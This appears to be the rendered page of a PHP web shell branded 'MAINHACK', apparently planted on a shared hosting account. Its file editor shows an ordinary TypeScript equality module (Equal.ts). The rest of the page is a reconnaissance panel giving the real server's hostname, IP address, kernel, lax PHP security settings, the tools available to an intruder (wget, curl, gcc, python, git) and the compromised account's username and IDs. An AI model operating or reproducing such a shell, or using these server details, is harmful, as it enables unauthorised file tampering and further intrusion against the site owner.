[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Equal.ts
/** * @since 2.0.0 */ import type { Equivalence } from "./Equivalence.js" import * as Hash from "./Hash.js" import { hasProperty } from "./Predicate.js" import { structuralRegionState } from "./Utils.js" /** * @since 2.0.0 * @category symbols */ export const symbol: unique symbol = Symbol.for("effect/Equal") /** * @since 2.0.0 * @category models */ export interface Equal extends Hash.Hash { [symbol](that: Equal): boolean } /** * @since 2.0.0 * @category equality */ export function equals<B>(that: B): <A>(self: A) => boolean export function equals<A, B>(self: A, that: B): boolean export function equals(): any { if (arguments.length === 1) { return (self: unknown) => compareBoth(self, arguments[0]) } return compareBoth(arguments[0], arguments[1]) } function compareBoth(self: unknown, that: unknown): boolean { if (self === that) { return true } const selfType = typeof self if (selfType !== typeof that) { return false } if (selfType === "object" || selfType === "function") { if (self !== null && that !== null) { if (isEqual(self) && isEqual(that)) { if (Hash.hash(self) === Hash.hash(that) && self[symbol](that)) { return true } else { return structuralRegionState.enabled && structuralRegionState.tester ? structuralRegionState.tester(self, that) : false } } else if (self instanceof Date && that instanceof Date) { const t1 = self.getTime() const t2 = that.getTime() return t1 === t2 || (Number.isNaN(t1) && Number.isNaN(t2)) } else if (self instanceof URL && that instanceof URL) { return self.href === that.href } } if (structuralRegionState.enabled) { if (Array.isArray(self) && Array.isArray(that)) { return self.length === that.length && self.every((v, i) => compareBoth(v, that[i])) } if (Object.getPrototypeOf(self) === Object.prototype && Object.getPrototypeOf(that) === Object.prototype) { const keysSelf = Object.keys(self as any) const keysThat = Object.keys(that as any) if (keysSelf.length === keysThat.length) { for (const key of keysSelf) { // @ts-expect-error if (!(key in that && compareBoth(self[key], that[key]))) { return structuralRegionState.tester ? structuralRegionState.tester(self, that) : false } } return true } } return structuralRegionState.tester ? structuralRegionState.tester(self, that) : false } } return structuralRegionState.enabled && structuralRegionState.tester ? structuralRegionState.tester(self, that) : false } /** * @since 2.0.0 * @category guards */ export const isEqual = (u: unknown): u is Equal => hasProperty(u, symbol) /** * @since 2.0.0 * @category instances */ export const equivalence: <A>() => Equivalence<A> = () => equals
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344